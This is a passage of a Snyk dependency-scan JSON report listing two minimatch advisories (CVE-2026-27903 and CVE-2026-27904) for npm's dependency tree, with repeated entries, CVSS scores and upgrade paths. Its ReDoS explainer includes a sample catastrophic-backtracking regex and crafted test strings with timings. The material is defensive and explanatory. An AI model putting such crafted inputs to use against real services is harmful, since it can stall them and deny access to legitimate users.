"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, 